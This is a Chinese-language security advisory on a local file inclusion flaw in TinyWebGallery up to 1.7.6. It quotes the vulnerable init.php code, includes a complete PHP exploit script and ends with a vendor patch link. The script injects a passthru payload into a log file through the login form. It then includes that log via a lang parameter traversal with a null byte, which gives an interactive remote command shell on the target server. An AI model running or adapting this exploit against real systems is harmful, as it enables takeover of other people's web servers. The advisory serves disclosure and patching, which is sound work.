发布日期：2009-05-08
更新日期：2009-05-11

受影响系统：

Michael Dempfle TinyWebGallery <= 1.7.6 LFI

不受影响系统：

Michael Dempfle TinyWebGallery 1.7.7

描述：

---

BUGTRAQ  ID: 34892

TinyWebGallery是基于php的开源相册。

TinyWebGallery的/admin/_include/init.php模块没有正确地验证用户请求中的$_GET['lang']参数：

    110.    // Get Language
    111.    if (isset($GLOBALS['__GET']["lang"]))  $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__GET']["lang"];
    112.    elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__POST']["lang"];
    113.    else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];  
    114.    else $GLOBALS["language"] = $GLOBALS["default_language"];
    115.    
            [...]
    138.    
    139.    // ------------------------------------------------------------------------------
    140.    // Necessary files
    141.    require _QUIXPLORER_PATH . "/_config/conf.php";
    142.    
    143.    if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
    144.        require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
    145.    else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
    146.        require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
    147.    else
    148.        require _QUIXPLORER_PATH . "/_lang/en.php";

远程攻击者可以通过在144行的require函数包含任意文件。成功攻击要求magic_quotes_gpc = off。

<*来源：EgiX （n0b0d13s@gmail.com）
  
  链接：http://www.milw0rm.com/exploits/8649
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
      die("\nsocket_create(): " . socket_strerror($s) . "\n");

    if (socket_connect($s, $host, 80) == false)
      die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

    socket_write($s, $packet, strlen($packet));
    while ($m = socket_read($s, 2048)) $response .= $m;

    socket_close($s);
    return $response;
}

function check_target()
{
    global $host, $path;

    $packet  = "GET {$path}info.php?showphpinfo=true HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";

    preg_match('/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/', http_send($host, $packet), $match);

    if ($match[1] != "Off") die("\n[-] Exploit failed...magic_quotes_gpc = on\n");
}

function inject_code()
{
    global $host, $path;

    $code     = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";
    $payload = "p_user={$code}&p_pass=";

    $packet  = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;

    http_send($host, $packet);
}

print "\n+---------------------------------------------------------------------+";
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] host path\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /twg/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
inject_code();

$packet  = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while (1)
{
    print "\ntwg-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}

?>

建议：

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厂商补丁：

Michael Dempfle
---------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.tinywebgallery.com/download.php?tinywebgallery=latest

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